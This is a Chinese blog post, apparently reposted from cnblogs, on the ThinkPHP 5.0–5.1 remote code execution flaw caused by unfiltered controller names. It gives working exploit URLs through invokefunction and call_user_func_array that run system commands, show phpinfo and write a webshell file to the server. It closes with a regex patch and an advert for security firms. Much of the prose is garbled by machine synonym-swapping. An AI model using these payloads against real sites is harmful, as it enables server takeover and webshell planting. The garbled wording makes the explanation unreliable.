thinkphp 最新版本5.0到5.1高危漏洞爆发可直接提权getshell

THINKPHP毛病修复,官方于克日,对现有的thinkphp5.0到5.1全部版本举行了升级,以及补丁更新,这次更新重要是举行了一些毛病修复,最严峻的就是之前存在的SQL注入毛病,以及长途代码实行查询体系的毛病都举行了修复,官方本以为没有题目了,但是在现实的宁静检测当中发明,照旧存在题目,照旧可以长途代码举行注入,插入非法字符,提交到办事器后端中去。

关于这次发明的oday毛病,我们来看下官方之前更新的代码文件是怎么样的,更新的步伐文件路径是library文件夹下的think目次里的app.php,如下图:

毛病产生的缘故原由就在于这个控制器这里,整个thinkphp框架里的功效对控制器没有举行严酷的宁静过滤于查抄,使打击者可以伪造恶意参数举行逼迫插入,最基础的缘故原由就是正则的表达式写的欠好,导致可以绕过。

在controller获取控制器后,直接举行赋值,但是并没有对控制器的名举行严酷的检测,导致可以利用斜杠等特别标记来长途代码注入。

我们来搭建一下网站的情况,apache+mysql+Linux centos体系,搭建好的测试情况地点是http://127.0.01/anquan ,我们可以直接在index.php背面伪造打击参数,示比方下:

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l

直接get方法提交到网站中去,可以直接查询到网站当前根目次的全部文件,截图如下:

通过该毛病也可以直接长途代码注入实行phpinfo语句,查询当前的php版本,路径,扩展,以及php.ini存放的地点,都可以看得到,结构如下代码即可。

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'

有些人大概会问了,既然都可以phpinfo,查询目次文件,可不可以getshell写网站木马文件到网站里呢? 答案是可以的,我们测试的时间是以一句话木马代码的写入到safe.php文件里。

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%27%20>%20safe.php

关于这次thinkphp的毛病使用以及阐发到此就竣事了,该毛病属于高危毛病,危害严峻性较大,许多升级更新补丁的网站都市受到打击,乃至有些网站会被挂马,那么该怎样修复thinkphp的毛病呢?更换之前的正规矩表达式即可,还必要对网站的目次举行权限摆设,防备天生php文件,对网站上的毛病举行修复,大概是对网站宁静防护参数举行重新设置,使他切合其时的网站情况。假如不懂怎样修复网站毛病,也可以找专业的网站宁静公司来处置惩罚,海内如Sinesafe和绿盟、启明星辰等宁静公司比力专业.

针对付这个环境,我们要对其library/think/App.php代码里的正规矩表达式举行变动,if (!preg_match('/^[A-Za-z][\w\.]*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }

解决方法:

'url_route_on'           => true,

 

转载于:https://www.cnblogs.com/Essaycode/p/10117154.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值